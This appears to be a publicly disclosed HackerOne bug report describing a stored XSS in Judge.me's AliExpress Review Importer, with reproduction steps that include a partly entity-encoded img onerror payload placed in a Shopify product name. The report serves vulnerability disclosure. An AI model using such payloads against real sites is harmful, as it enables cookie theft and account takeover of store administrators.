HexBrain

Judge.me · Report #1425882

stored XSS on AliExpress Review Importer/Products when delete product

Validstatus
mediumseverity
$500bounty
15upvotes
31 Mar 2022disclosed

How it was found

Hi @judgeme! code Step to reproduce:

  1. Go to Shopify admin and create product with name ">&#60;"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;)>

  2. Go to AliExpress Review Importer/Products and delete our product with name "><"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(document.domain)>

{F1544890} 3. Xss work=)

P.S. Poc wideo attach

{F1544893}

Impact

cookie stealer

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original